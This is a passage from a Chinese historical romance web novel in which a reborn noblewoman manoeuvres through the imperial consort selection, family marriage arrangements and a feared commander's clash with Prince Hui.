边上的侍从跟了谢老爷多年,温声道,“昭云郡主对三爷的心思,全京城都知道。其实这是门好亲事,三爷与昭云郡主定下来,惠王和二房之间便断了。小的跟了老爷多年,说句越界的话,与其让二爷出头,倒不如让惠王去压着三爷。” 他们都清楚,谢二爷心胸狭隘,本事一般,若惠王真想夺嫡,谢二爷很可能成为马前卒,死得最早的一个。 谢泊淮则不一样,他有本事,又够心狠手辣,谢老爷压不住他。惠王却不一样,他是除了太子外,皇上最宠的儿子,谢泊淮再嚣张,也不敢杀了惠王吧? 既然谢家已经一只脚踏进漩涡中,倒不如多做些准备,不然等谢老爷百年后,谢家必定凉凉。 “老三不会答应的。”谢老爷长叹道。 “事在人为。” “你的意思是?” “老爷,昭云郡主恨嫁到不行,咱们不需要做什么,使人给她提个醒就好。事情成了,别人只会说昭云郡主手段如何,不成,也不关我们的事。” 谢老爷的眉头渐渐舒展开,“对,不管我们的事。” 谢老爷这边安排人去给昭云郡主暗示,谢泊淮出了谢家后,不知不觉翻过叶家围墙。 凉亭里,叶明岳带来托人从西域买来的饰品,让妹妹们挑选。 兄妹们有说有笑,最后谈论到叶明岳的婚事。 叶婉玉笑呵呵地道,“大哥哥说了,这次给你相看的人家,最重规矩。姜家姑娘我们都见过,很是高挑,模样上乘呢。” “得了吧,姜大人是个老古板,从前书院遇到他,逮着我说教半个时辰。他家的姑娘,我可不敢要。”叶明岳用力摇头,“二妹妹放心,姜家肯定看不上我,姜大人肯定想找大哥哥那样的。” 叶婉宁说不一定,“大哥哥能与你说到姜家,说明姜家有人透露了意思。” 她还记得,上辈子二哥哥就是娶了姜姑娘,因为姜姑娘对二哥哥一见钟情,非要嫁给二哥哥,姜大人疼爱女儿,才答应姜家相看。 姜姑娘性格沉稳,二哥哥一开始是不喜欢的,后来叶家被周钰陷害,患难见真情,他们俩相互扶持,慢慢有了感情,二哥哥也在姜姑娘的督促下,越发上进。 只是可惜,没等到他们的孩子出生,叶家被冠上谋反的罪名,满门抄斩,连带怀孕的姜姑娘也没逃过。 思绪回到上辈子,叶婉宁不由攥紧拳头。 “大姐姐?”叶婉玉看姐姐神色不对,凑了过去,“你怎么了?” “我在想二哥哥被姜大人说教时,一定很想跑。”叶婉宁刚说完,三姐妹一同笑出了声。 “你们尽管笑,反正我和姜家的亲事,成不了!”叶明岳努努嘴,拿起一块点心往嘴里丢。 叶家兄妹相处融洽,时不时有笑声传出,谁都没注意到,假山后有个谢泊淮。 第22章 姜姒 没过几天,叶明岳去相看回来,用力摇头,“你们没瞧见,她都快有我高了!聊不来,一点也聊不来!” 姜姑娘就是身高原因,选妃才没在名单上,如果寻常一点,姜大人也不可能松口答应和叶家相看。 叶明德很生气,教育弟弟,“娶妻娶贤,姜姑娘模样人品都好,人家没嫌弃你,你反而看不上人家?叶明德,你到底想娶什么姑娘?” “我没想成婚,立业成家,我得先有事业,再说成家的事。”叶明岳耍起无赖,“大哥不是常说,男人顶天立地,得有足够的本事,才能为家人遮风挡雨。我现在什么都没有,不过是个秀才功名,确实配不上姜姑娘。不如这样,大哥哥让我南下经商,说不定过两年,我就让你多个首富弟弟?” 他眼睛亮晶晶的,期待地看着叶明德。 好脾气如叶明德,也忍不住拍叶明岳几下,“你想都别想,爹娘过世,你姨娘也不在了,我是大哥,你得听我的安排。明日起不许出门厮混,在家给我好好读书,看不上姜姑娘也没事,等你考上举人,我再放你出来!” 这一次,叶明德是真的生气了。 叶婉宁带着糖糕来时,连门都上了锁,只留一条缝隙,给下人送饭用。 “妹妹你得救救我,大哥忒不讲人道了,我都那么大了,他怎么还把我当小孩管?”叶明岳不理解,“别人家都是嫡子上朝堂打拼,庶子打理家业挣钱,到了咱们家,大哥对我那么严格做什么?” “大哥是怕无法和爹娘交代,二哥,你那么想做生意吗?”叶婉宁把糖糕从缝隙塞了过去。 “那当然,我天生是走南闯北的人,哪能被拘束在一方天地之中!”叶明岳对着未来,有着美好向往,“好妹妹,大哥最听你的劝告,你去劝劝他,我是烂泥扶不上墙,读书不是我的未来,别再逼着我了。” 他一心学做生意,对读书没任何兴趣。 叶婉宁知道,二哥哥也是个聪明的,上辈子的二哥哥在科举上也不错,但那是被困境逼出来的。为官做宰,确实更有地位,可兴趣呢? 人活一辈子,是随心所欲活着,还是强逼着自己出人头地? 叶婉宁很快有了答案,她去找了大哥哥,只是大哥哥还在气头上,谁也不见。打算等大哥哥缓一缓,再说二哥哥的事。 在这之前,叶婉宁姐妹接到了姜姑娘的帖子。 叶婉宁不懂姜家的意思,去找了大嫂。 林氏说,“我见姜夫人时,还没转达二弟的意思,姜夫人先夸起你们姐妹。说她长女已经出嫁,膝下就这么一个女儿,从小没个玩伴,想邀请你们去做客。人家都这么说了,我的话就说出不口了。” 姜大人在御史台做事,门生也有不少,能和这样的人家来往,对叶家是好事。 做不了亲家,平常往来也可以。 叶婉宁懂了大嫂的意思,次日带着妹妹们去了姜家,刚下马车,姜夫人身边的嬷嬷候着了。 “我们姑娘一早儿就在期待,这位是叶大姑娘吧,不愧是京城第一美人,老奴瞧着都要欢喜。”夸完叶婉宁,王嬷嬷又去夸叶家其他两位姑娘。 到了正院,姜夫人和姜姒已经候着了,姜夫人生得端正,气质威严,一看就是大家族的当家主母。 姜姒确实很高,比叶婉宁高出大半个头,但模样清秀,皮肤也白,看到叶婉宁几个,端端正正地行礼。 叶婉宁带着妹妹们回礼,她们从小受母亲教养,规矩行事都是好的。在叶婉宁余光中,看到姜夫人微不可见地松了口气。 “都说叶家姑娘好,今儿瞧见了,确实一个个如花似玉。”姜夫人客套道,她并不喜欢叶明岳当她女婿,奈何女儿喜欢。好在叶家姑娘看着都清正,是正经姑娘模样。 “姜妹妹也好,早就听闻夫人美名,今日瞧见,果真如此。”叶婉宁夸赞道。 她举止端庄大气,说话又温温柔柔,看得姜夫人越发喜欢,同时很不解,有这么个大美人在眼前,周钰怎么喜欢许竹苓那种货色? 姜夫人心里有许多疑问,奈何是别人家事,寻了个理由,自个儿先走了。 姜姒这才得以开口,她让人拿出礼物,是胭脂,“以前在宴会,曾远远地见过姐姐和妹妹们,不知道你们喜欢什么,这是我的一点心意。” 叶婉宁看了眼胭脂,竟然是她铺子里买的,最近胭脂铺子生意红火,最好的胭脂都得提前订货,看来姜姒下了心思。 叶婉玉姐妹很喜欢,她们素雅许久,都是花朵一般的年纪,都爱打扮。叶婉玉直接,拿着胭脂问,“姜姐姐,你喜欢我二哥哥什么啊?他这人是挺不错的,可与你们姜家完全不是一路人。” 这话一出,姜姒的脸红得能滴血。 “婉玉。”叶婉宁看了眼妹妹,但她也好奇为什么。 “叶……叶二哥是个好人。”姜姒拧着帕子,脸颊滚烫,她从小就比别的姑娘高出一大截,有次被人笑话,是叶明岳出来帮她吵架。爹娘疼她,却也会暗中叹气,感叹她没长那么高就好了。家人宽慰的话听多了,直到叶明岳当着笑话她的人说,“高个儿多好,摘柿子都能比别人多摘几个,笑人姑娘长得高,明明是你们矮冬瓜,长不过别人就嘲笑,亏你们是个男的!” 这是很小的事了,但姜姒一直记得。 好人两个字可以囊括很多事,叶婉玉还想问,却被叶婉宁拦着。 姑娘家脸皮薄,经不起刨根问底,她们是来做客的,又不是审犯人。 姜姒读过很多书,叶婉玉和叶婉华有什么问题,她都能回答个一二。 快到回家前,姜姒把叶婉宁拉到一旁,“大姐姐能不能帮我带一句话?” “什么?” “人生在世,有所长,有所短,我知叶二哥不喜读书人的繁文缛节,他做他想做的,喜欢他现在喜欢的就好。我与他差了点缘分,但我祝他欢喜一生。我父亲虽守旧,但他愿意为了我突破原则,可见姜家也不是传言的那么刻薄可怕。”姜姒眼眶含了泪。 叶婉宁原以为姜姒是想示好,让她们姐妹劝说二哥,原来是她心眼小了。 她大大方方地说了好,“妹妹放心,我一定原话转达。” 姜姒笑着感谢,“我就知叶二哥的家人也是极好的,我送你们出去。” 时候不早,姜姒送叶婉宁姐妹到门口,人刚站定,看到谢泊淮跳下马背。 姜姒如常喊了句“谢大人”,等谢泊淮进府后,才和叶婉宁解释,“谢大人以前是我父亲的学生,他偶尔会上门找父亲与兄长。”顿了下,又补充一句,“其实他人挺好的,并不像传言那般可怕。” 第23章 心上人 近来,叶婉宁好几次听到人夸谢泊淮还不错。 上了马车后,叶婉玉先道,“你们可能不知道,其实很多人想嫁给谢指挥使。” “他好吓人啊。”叶婉华小声道。看到谢大人她就害怕,那些姑娘怎么会想嫁给他呢? “谢指挥使确实不好接近的样子,但是他好看啊,你们想想,放眼全京城,哪里还有比他更好看的男子?”叶婉玉很客观地评价,“大姐姐,你说是吧?” “啊?”叶婉宁想了想,“确实是。” 不管从身高,还是长相,谢泊淮都是最出色的。虽然有杀人如麻的名声,但有不少姑娘家爱俊俏。 “听说最想嫁给谢指挥使的,便是昭云郡主,几乎到了恨嫁的地步。”叶婉玉眼中有羡慕,“有权有势真好啊,想做什么就做什么,不用顾忌世俗的眼光。我要是昭云郡主,我肯定也主动追求心仪的公子,反正出了什么事,都有个亲王爹担着。” 叶家姐妹是不一样性格,想法都不一样,而他们讨论的昭云郡主,此时在家中闹翻了天。 “我不管,我就喜欢谢泊淮,除了他,我谁也不嫁!”昭云郡主把屋里的东西摔了大半,惠王看得直心疼。 “我的小祖宗诶,谢泊淮到底有什么好的?你知不知道朝中的人都怎么说他?”惠王不理解,“说他心狠手辣,连嫡母都敢打骂,为了上位,什么事情都能干。你皇爷爷现在是看重他,可他还能嚣张多少年?” 惠王的暗示很明显,皇上年纪大了,指不定什么时候归天,到时候谢泊淮只剩死路一条。 昭云郡主听不进去后边的话,“谢泊淮哪哪都好,你要我改变主意,除非你找个更俊俏的郎君出来!” 这还真没有。 惠王自个生了张圆脸,很有福气的长相,故而昭云郡主也是脸圆圆的,从小到大,很少有人真心夸她漂亮。 从记事起,昭云郡主只喜欢好看的东西,而且看中的,一定要得到。 这时惠王妃柳氏也开口劝道,“从小到大,你要什么,我们都给你。唯独这件事不行,谢泊淮不是良配,我宁愿你嫁给一个普通举人,也不能嫁给谢泊淮。” 柳氏比惠王看得清一点,女儿被他们宠坏了,嫁入高门不一定能过好日子。倒不如往低处看看,不管女婿是什么样子,他们也能替女儿拿捏一辈子。 昭云郡主听爹娘都反对,干脆耍横,“你们不让我嫁给谢泊淮,我就饿死我自己!” 惠王心疼地想再劝两句,却被柳氏拉住。 柳氏认为昭云坚持不了多久,她自己养大的女儿,心里很清楚她吃不了苦。 不过这次,昭云郡主铁了心坚持,还真的两天没吃饭,丫鬟偷偷塞点心,她都拒绝。 折腾一番,昭云郡主气色苍白,看得惠王顾不上其他,只能哄着答应了。 当天,惠王便让人去谢家打探口风,结果谢老爷是个没用的,说主要得看谢泊淮的意思。 如此一来,惠王只能招谢泊淮进府,他懒得与谢泊淮周旋,直接问,“你也老大不小了,有没有想过成婚的事?” “没有。”谢泊淮皱起浓眉。 “咱们关起门来说话,你知道昭云对你的心意吧?”惠王直直地看着谢泊淮,他是亲王,谢泊淮再得宠,在他这里也得低着头。 谢泊淮却说不懂,“下官与郡主没有私交,并不熟悉。而且,在下已经有心上人了。” “心上人?谁家姑娘?”惠王快忍不住了,谢泊淮有眼无珠,他家昭云那么好,谢泊淮却喜欢别家姑娘? “王爷,若是您没有别的事,下官先告辞了。”谢泊淮行礼要走,惠王猛地拍桌。 “谢泊淮,你放肆!”惠王站了起来,“你当我这里是什么地方,我还没发话,你怎么敢走?” 也不知道女儿看上谢泊淮什么,好看有什么用?男人得听话才行。 惠王气得快炸了,谢泊淮却当看不出,“怎么,王爷要教镇府司做事?” 镇府司三个字一出,惠王再次变了脸。 谁都不能调动镇府司,只有皇上可以。惠王若是插手命令谢泊淮,便是越界了,事情传到太子那,太子更可以弹劾惠王有不轨之心。 “谢泊淮,我没这个意思。”惠王深吸一口气,他能得皇上宠爱,还是沉得住气的,“我没想插手镇府司,但我不管你的心上人是谁,从今往后,只能是昭云!” 谢泊淮嘲讽地勾起薄唇,“王爷,下官再说一次,下官就是死,也不会娶昭云郡主。您真要嫁不出去女儿,不如去找皇上赐婚,看看皇上会不会赐婚?” 只要惠王敢去找皇上,谢泊淮有的是法子离间皇上和惠王的关系。惠王能那么嚣张,靠的都是皇上的宠爱,如果皇上起了疑心,惠王还能有什么下场? 没等惠王回答,谢泊淮拉开门走了。 气得惠王脸都白了。 从来都是别人捧着惠王府,今日却被谢泊淮狠狠打脸。 “砰!” 惠王砸烂桌上的笔筒,“去查,看谢泊淮和谁家姑娘走得近。谢泊淮,别让本王找到!” 这边惠王气得查人,昭云郡主得知谢泊淮拒绝了父亲的示好,当场大哭起来。 “哭什么哭?”柳氏只恨自己太宠爱女儿,没有早点教养女儿,“你可是皇亲贵胄,不过是个男人,有的是法子得到他。给我擦了眼泪,你父亲已经和谢泊淮低头一次,不可能再有第二次了!” “可是母妃……” “不要可是,擦了你的眼泪,明天跟我正常出门,别丢了王府的脸面。至于谢泊淮,总能有法子拿捏他!”柳氏拉着女儿起来洗漱,她能把王府后院管得死死的,唯独对女儿无可奈何。 昭云郡主心里难过,但想到谢泊淮一而再拒绝她,特别是听说谢泊淮有了心上人,心底窜起一阵怒火,打定主意要把人找出来,绝对不让她好过! 不过谢泊淮平日里除了镇府司和谢家,其余时间都在忙公务,惠王和昭云郡主抓不到一点线索。 眼看一个月过去,到了选妃的日子,有人和昭云郡主提了个醒,京城里适龄的官宦人家姑娘,都来参加选妃了。若是昭云郡主想找人,可以去宫里看看。 此时的叶家三姐妹,正坐着马车往宫里去,叶婉宁较为淡定,叶婉华紧紧拉着姐姐们的手,害怕得身子颤颤。 第24章 落选 马车在宫门口排成长队,叶婉宁带着妹妹们下马车,她交代过三妹妹,待会见了嬷嬷,不用刻意保持镇定。 今儿是宫中的初选,能到这里的姑娘,模样上都是好的。 她们排成队,六个一组,由嬷嬷们先观看。 叶婉华如愿没进二选,得知这个消息,叶婉宁悄悄松了口气。 她使了些银子,和二妹妹同住一间屋子,一起的,还有谢家三姑娘谢令仪,王家二姑娘王楚楚。 谢令仪是谢家二房嫡女,出身高贵,仰着头扫了眼众人,走到叶婉宁跟前,“你是叶婉宁吧,你让让,这里向阳,我想睡这里。” “你这人怎么回事,是我们先来的。”叶婉玉呛声道。 谢令仪看了边上的丫鬟一眼,丫鬟丢出钱袋,“这下可以了吧?” 叶婉宁浅浅笑着,“嬷嬷带我们过来时,已经和嬷嬷说好了床位。谢姑娘非要换,不如去找嬷嬷过来?” 对外,谢令仪想有个好名声,自然不会去找嬷嬷。她打心眼里看不上叶家,对叶婉宁姐妹才会这般态度。 “罢了,既然你坚持,希望你以后不会后悔。”谢令仪知道刚进宫不好闹起来,这会忍下这口气,打算等她成为郡王妃,再和叶婉宁算账。 叶婉宁拍了拍妹妹的手,示意她不用再多话了,刚进宫第一天,不好再争吵。 她们各自收拾,直到院子里吵了起来,听到是昭云郡主让她们出去,有人嘀咕昭云郡主没规矩,也有捧着她的人出去。 叶婉玉问要不要出去,叶婉宁小声道,“我们跟着大家一起就好,不要做特立独行的。昭云郡主不是个好脾气的人,惹怒她不好收场。” 众人到了院子里,昭云郡主一个个看了过去,点了两位姑娘,又把叶婉宁姐妹留了下来。 叶婉宁心里咯噔一下,她们与昭云郡主不曾有过来往,昭云郡主找她们有什么事? 听昭云郡主问她们是不是和谢泊淮相熟,叶婉宁抢在妹妹开口前,先答了话,“回郡主,谢大人与我们只是远亲,算不上熟悉。” “哦,你是叶婉宁吧?”昭云郡主打量过来,“那我怎么听说,你赶走许竹苓时,谢泊淮也在?” “说来碰巧,那日我在门口与许竹苓有了争执,谢大人在镇府司办事,以为是有人捣乱,才停下镇场子。”叶婉宁知道昭云郡主痴迷谢泊淮,她是看出来了,昭云郡主在迁怒她们。 “你最好别骗我,不然有你好果子吃。”昭云问完叶婉宁,又去审问其他人,叶婉玉是个机灵的,听完姐姐说的,接着姐姐的话附和。 一番折腾下来,天都黑了,其余两位姑娘心里有怨言,却不敢说,只能摸着黑回去。 叶婉宁拉着妹妹,一颗心提到了嗓子眼。 不曾想,半路遇到了谢泊淮。 这个时辰,谢泊淮应该是准备出宫,他侧身给叶婉宁姐妹让路,嘴里同时哼了句,“算不上熟悉?” 叶婉宁眉头猛跳,感叹镇府司无处不在的时候,又不敢去接谢泊淮这话,赶忙拉着妹妹回去了。 二选在后日,叶婉宁一晚上没怎么睡好,次日被一个小太监叫了出去,心里嘀咕着怎么回事时,看到了靠在红墙上的谢泊淮。 “谢大人,您放心说,奴才去帮您守着。”小太监低着头。 叶婉宁不解地去看谢泊淮。 “叶大姑娘有法子让你三妹妹落选,自个儿却留下来,看来你志向远大。”谢泊淮抬眸看过来。 叶婉宁不懂谢泊淮喊她来做什么,心里怕被人发现,只能慌忙解释,“我们三姐妹同时进宫,若都是一样缘由落选,实在说不过去。” “那你想不想中选?” 想不想? 当然不想。 可叶婉宁不懂谢泊淮受了谁的意思来问话,他是皇上的人,可叶家还不足以让皇上关注到。 是谢泊淮自己的想法吗? 可她与谢泊淮,并没见过多少面,是真的算不上熟悉。 “叶大姑娘记不记得,我说过,我欠你一份人情。”谢泊淮道,“如果你不愿意中选,我可以帮你。” 听到这话,叶婉宁松了一口气,“不知大人有什么办法?” 叶婉宁决定赌上一把,“想,但大人能不能……” “可以。”没等叶婉宁说完,谢泊淮先答应了。 “多谢大人,我替二妹妹再次谢过大人。”有了谢泊淮这句承诺,叶婉宁安心不少,“这次算我欠大人一份人情,昭云郡主对您颇有情谊,她好像在找什么人,如果大人有心守护,还得提前做出准备。” 话说到这里,小太监来提醒时候不早了,叶婉宁跟着小太监回去。 她们在这里的一举一动,都有人看着,叶婉宁刚坐下,谢令仪哼哼道,“原来你才是深藏不露,去了那么久,是见了什么贵人吗?” 有了谢泊淮的帮忙,叶婉宁心情不错,不用和妹妹冒险了,看谢令仪也顺眼一些,不过嘴上不能输,“再怎么样,我还是比不过谢姑娘的。今儿就有娘娘召见你,日后谢姑娘飞上枝头,福气大着呢,还是别关心我这种小人物了。” 明明是夸人的话,谢令仪却听得很不舒服。进宫前,父亲母亲特意交代了,让她别耍性子,可叶婉宁竟然一次次呛她,她是记住叶婉宁了。 不过她们同住的日子并不久,叶婉宁姐妹二选没被看上,如同谢泊淮说的一样,帮她们落选了。 得了这么大的好处,叶婉宁很想当面和谢泊淮道谢,不过宫里人多眼杂,她忍着兴奋,出了宫门才松一口气。 叶婉玉还没反应过来,姐姐只让她安心,这会忍不住问怎么回事。 只是叶婉宁还没开口,马车突然停下,她问车夫怎么回事,车夫说马车突然坏了。 无奈之下,叶婉宁只能和妹妹先去附近的茶楼等着。 她们没注意到,远处停了几位男子,他们望着叶家姐妹,一人好奇,“这是从宫里出来的马车,今儿是二选的日子,这样标致的美人,怎么落选了?” “回太孙的话,选妃不仅看样貌,还有诸多考量。”边上的内侍答道。 “真是可惜了。”皇太孙心中遗憾, 第25章 恩惠 叶婉宁心情好,“千层糕,豆花儿,还有香酥肉,甜米酒都来四份。” “大姐姐,你点那么多,吃得完吗?”叶婉玉也高兴,她是什么样的性格,自个儿清楚,姨娘想她飞上枝头变凤凰,哪有这个可能。特别是这次进宫一趟,知道宫规有多森严,更确认自己不适合, “吃得完,还有云芝她们呢。”叶婉宁沿窗坐着,正好看到谢泊淮带人经过。 再看谢泊淮,叶婉宁觉得这人确实难相处,但如姜姒说的一样,没有传言的那么可怕。 “奸臣!” 突然有人朝谢泊淮扔菜叶子,“你个大奸臣,还我全家性命来!” 十几岁的少年,连着丢菜叶子和石头,谢泊淮抬手挡住脸,身上却脏了。 “大人,您没事吧?”青山拔剑上前,却被谢泊淮拦住。 谢泊淮扫了眼众人,带着青山他们走了。 茶楼里的叶婉玉好奇,“不是说谢大人凶神恶煞,脾气最坏,怎么被流民们骂了,也不见他发火生气?大姐姐,你说他会不会事后算账?” “他不是这种人。”叶婉宁没有很了解谢泊淮,但她对谢泊淮有种直觉,“如果谢泊淮真要处置流民,当场就解决了,不会背地里动手。” 以谢泊淮的手段和地位,真把这几个流民抓起来,也无可厚非。 新的马车来了,姐妹俩吃得差不多,走出茶楼时,已经没人围着看热闹了,但那几个流民还坐在地上哭。 “权臣当道,老天不公啊。”少年坐在地上,“我父亲勤勤恳恳一辈子,却被奸人所害,我还状告无门,什么天子?不过是……呜呜!” 少年被边上小食摊主捂住嘴巴,“我的天爷,这里可是京城,想活命可不能乱说话!” “呜呜……我……我不怕!” 少年还要挣扎,却被摊主拽往巷子里,“小小年纪,你懂什么好与坏,你家的事与谢大人有什么关系?快消停点!” 叶婉宁看着少年走远,才放下木窗。 前些日子,南边有流民北上到京城,不过大部分被拦在城外,有富贵人家,毎日派人施粥行善。 国库发了不少钱赈灾,但一部分钱财被人吞了,谢泊淮南下抓了一大批官员,朝中对谢泊淮不满的声音更大了。 这些事,叶婉宁是听二哥哥说的。 没被关起来之前,二哥哥混迹京城各处,没什么是他不知道的。那会儿听二哥哥说起,叶婉宁只当闲谈,听过便忘了,现在亲眼看到谢泊淮被人骂,心中有了不一样的感触。 不知全貌,不好评价,今日的事,叶婉宁应该难知道来龙去脉。 回到家中后,大嫂祖母都候着了,一家人关起门来高兴,连叶明岳都被放出来。 “这次多亏了谢指挥使,想来是他看在二哥哥的面子上,谢指挥使才愿意帮我和二妹妹。”叶婉宁不好说谢泊淮在她屋里杀人的事,反正谢泊淮也不会和家人细说宫里的事,她现在这么说,也能圆得过去。 叶明岳被逼着读书,这会能出来透气,脸上笑呵呵的,“你们看吧,我就说谢大人是个好的。以前和他在一个书院,他自个儿过不好,还会帮其他困难的学子。大嫂,你帮我劝劝大哥哥,你看我不读书,还是能帮到家里。天下三百六十行,又不是只有读书一条出路。” 林氏“啊”了一声,不知所措地去看祖母,叶老夫人哼了一声,“你怎么还没长大,你大哥是为了你好。连姜家姑娘都看不上,你又没个功名,往后如何帮衬你大哥?” 叶老夫人心疼大孙子,都说长兄为父,大孙子操心的事比当爹的还要多。 面对祖母,叶明岳不敢多说,怕气到祖母。 不过叶明岳今日不用待屋里读书,离开德容苑后,跑去找叶婉宁诉苦。 “妹妹你说说,祖母他们怎么就不理解我呢?”叶明岳单手撑着脑袋,用力抽了抽,却没有眼泪。 “行了,在我这里,你就不用装了。”叶婉宁笑道,“祖母和大哥哥的出发点是好的,你有你的想法也没错。从大方面来说,科举入仕确实是男子最好的出路,能换来最好的前程和权势。” 看二哥哥要插话,叶婉宁抬手示意他先别说,“但你现在只说你想做生意,让大哥哥和祖母如何信得过你?没有一个好的结果之前,很多事便是原罪。光靠嘴说,几乎没可能转变他们的态度,与其如此,不如先服软,暗中另做打算。” “妹妹的意思是?” “二哥哥好友多,找人帮你在书院打掩护,应该不成问题。”叶婉宁让云芝拿来账本,“前些日子,我开了两间铺子,近来生意红火,但我精力有限,很难顾及所有。不如二哥哥替我打理,如果你能把铺子经营到闻名京城,把挣来的银子捧到祖母和大哥哥面前,证明了自己的实力,他们对你的未来,才会有信心。” 叶明岳的眼睛亮了起来,“我的好妹妹,我就说全家只有你懂我!” “先别那么高兴,这个事你得小心点,若是还没成功就被发现,往后我再也帮不了你了。”叶婉宁是在考验二哥哥能力,如果他真有这个本事,便是最好的。 兄妹俩私下说定了,叶明岳欢欢喜喜地去找大哥,说愿意去书院读书。 叶明德很意外,并没有马上相信叶明岳真心读书。 “在家太无趣了,与其如此,还不如去书院。大哥总不能把我一直关着吧,靠我自己领悟书本,这辈子都别想中举。” 道理是这么个道理,叶明德只能答应了,不过规定了归家时辰,每天会派人去书院接叶明岳。 读书的事说定了,叶明岳一整个心情大好,拿着叶婉宁给的账本,连夜看了起来。 与此同时,白日里拉着少年走的摊主,正在和谢泊淮回话,“大人放心,草民已经把他安顿好了。他是徐家人,父亲是个小主簿,被贪腐案给牵连了家人。还好大人心善,不和他计较。” 青山替主子抱不平,“小屁孩一个,毛都没长齐,被人挑拨了都不知道。别人说是我家主子陷害他家,他还真信,要不是主子人好,早就把他关天牢去!” 摊主说是,他也是得过谢大人恩惠的。最开始,同样觉得谢大人可怕,直到他女儿被官宦子弟看上,对方想强行纳女儿当妾室,是谢大人出面帮了他一家,他才知道眼见为实,往后一直帮谢大人盯着进出宫门人。 谢泊淮听到事情办好了,让摊主先回去,低头看了眼自己的佩剑,好些时候不动刀剑,这些人真当他脾气好了。 下属们到院子里集结好,谢泊淮带头往外走,“去王家。” 第26章 亲上加亲 王中浩是惠王的人,他动谢泊淮,是惠王想给谢泊淮一点教训,借此灭灭谢泊淮的嚣张气焰。 谁知白日里的事情没闹大,天刚黑了一会儿,谢泊淮带着人围了王家。 “谢泊淮,你这是做什么?”王中浩看着举着火把的镇府司众人,他是没见过这种场面,但出动镇府司那么多人,心里已经慌张起来。 谢泊淮抬头看向王家的牌匾,再道,“王大人,你做了什么,需要我提醒吗?” “我……我告诉你,我可不怕你,没有皇上的旨意,你敢进我家门一步,惠王爷一定要你好看!”王中浩希望搬出惠王,谢泊淮能知难而退。 谁知谢泊淮朝他走了过来,一拳打中他的腹部,小腹瞬间抽筋,脸白得摔在地上。 谢泊淮眼神狠厉,居高临下地俯视着,“三年前你收取抚州盐运使的好处,害了两家盐商性命。去年你儿子骑马伤人,逼死对方亲爹。今年你又参与赈灾案,王中浩,你做了什么,需要我一再提醒吗?” 王中浩脸色煞白,镇府司做事,向来狠辣无情,他现在怕了,“我要见惠王爷!” “见惠王?好啊!”谢泊淮正愁没理由找惠王呢,“青山,把王大人架着,其他人先抄王家,咱们去见见惠王!” 听谢泊淮真要去惠王府,王中浩吓尿了,可谢泊淮是什么人?那可是京城里的活阎王,做事从不给任何人面子,他现在才意识到谢泊淮的可怕。 “谢大人,指挥使大人,您……有话好好说,这里面肯定有误会,我……呜呜……” 青山用一块破布,塞住了王中浩的嘴。 他们一路拖着王中浩到惠王府,等惠王带着人出来时,看得直皱眉,“谢泊淮,你疯了不曾?本王是堂堂亲王,岂是你能来放肆的?” “王爷理解错了,不是下官要来,是王大人非要来见您。”谢泊淮看了青山一眼,青山把王中浩推到人前。 “王爷,你快救救下官,谢泊淮疯了啊,他要抄了王家!”王中浩往台阶上爬,却被惠王一脚踹下台阶。 惠王在心中骂蠢货,事情没有办好,还把人往他这里带,他真是看错人了。 王中浩摔出了一些理智,看这个情况,惠王不打算保他了。但他有太多把柄在惠王手里,他不敢出卖惠王。 谢泊淮抬头微笑,“王爷,还请您往镇府司走一趟吧,王大人贪污受贿,却一直说见您,下官总是要查一查,才能给皇上和百姓们一个交代。” “谢泊淮,你要反了不曾?”他可是亲王,皇上最宠爱的皇子,谢泊淮不过是个指挥使,怎么敢这样和他说话。 在惠王愤怒拔出剑时,镇府司众人同时拔剑,气势汹汹,全都没把他这个王爷放在眼里,他们只听谢泊淮的。 谢泊淮看着惠王,“王爷若是不跟我们走,咱们就这样耗着,明日天亮后,下官会面见皇上,到时候还请王爷自个儿和皇上解释。” 王中浩心想谢泊淮是真不要命了,惠王在朝中布局颇深,得罪了惠王,以后没有好果子吃。况且昭云郡主心仪谢泊淮,现在闹了起来,谢泊淮与昭云郡主绝无可能了。 真等到天亮,百姓们看到镇府司在惠王府门口,那事情便不可收拾了。 现在是宵禁期间,寻常人无法得知。 惠王看谢泊淮软硬不吃,心中问候了谢泊淮祖宗十八代,谢仲渊那个老王八蛋怎么会生出这种儿子? 最后还是惠王妥协,跟着谢泊淮去了镇府司。 不过次日天刚亮,惠王进宫去告状了。谢泊淮则是不紧不慢地让人清点王家账目,再慢悠悠往宫里去。 王家被抄,一个上午过去,传到了叶家。 云芝听得感叹,“还好二哥儿没有和王姑娘定亲,不然这次的事,叶家也要被连累了。” “能把王琳养得那么娇纵,可见王大人人品。”叶婉宁并不意外王家被抄,只是这些事,与她上辈子的轨迹发生了变化。 前世谢泊淮没去抄王家,王琳顺利嫁人。且在三个月后,谢泊淮会带兵出征,战死沙场。 很多事,都发生了变化。 那这一次,谢泊淮的人生轨迹会不会不一样? 很多事,已经朝着叶婉宁无法预料的方向发展,但叶婉宁很清楚一点,她不想谢泊淮这次战死沙场。 “不过谢大人这次太张扬了,听说把惠王爷都带去镇府司了。他和昭云郡主,是一点可能都没了,也不知道,谁家姑娘会嫁给谢泊淮?”云芝感叹道。 据叶婉宁知道的,谢泊淮并没有定亲,至于为什么,谢家也没传出过什么。 “你想想,谢大人哪次低调了?”叶婉宁养在深闺,都知道谢泊淮的一些事迹。 这次把惠王得罪透了,说明谢泊淮对昭云郡主是一点意思都没有,这么一来,谢令仪也就嫁不到惠王府了。 那谢令仪会嫁给谁呢? 叶婉宁突然有些好奇,前世谢令仪是嫁到惠王府,这一次发生了那么多事,肯定会发生变化。 叶婉宁的手伸不到宫里,暂且不知道宫中情况,但她与妹妹们落选,婚嫁可自行安排了。 归家后没两天,大嫂娘家来了人,叶婉宁刚正院,便听到范氏高傲的声音。 “妹妹,你别怪我说话难听,婉宁是退过婚的人,年纪也不小了。要不是看她模样周正,我也不会上门来说亲。” 隔着门帘,叶婉宁示意丫鬟们先别说话。 范氏继续道,“我哥哥虽然还没中举,但范家日子比你们叶家要好许多。我前头那嫂嫂已经过世两年,留下两个孩子需要人照顾,我想着咱们是一家人,这种好事得先想到你。你是做人大嫂的,下头弟弟妹妹那么多,再不帮他们把婚事解决了,你知道外边人会怎么说你吗?” “我……” “会说你苛待小姑子,没有容人之心。你嫁到叶家那么多年,连个儿子都没生出来,还不给夫君纳妾,本来名声就不好了,可别影响家中侄女的名声。”范氏打心眼里看不上叶家,她敢这么说话,一个是叶家在朝中没人,还一个是林氏是个软柿子,林氏绝对不会和她翻脸,“所以啊,你别推脱了,咱们亲上加亲,往后才能更好帮衬,你说是不是?” 林氏越急,越想不到话来反驳她嫂嫂。 她是见过范家那位大哥的,好色到不行,屋里的丫鬟睡了个遍,连妹妹屋里的丫鬟都敢下手。 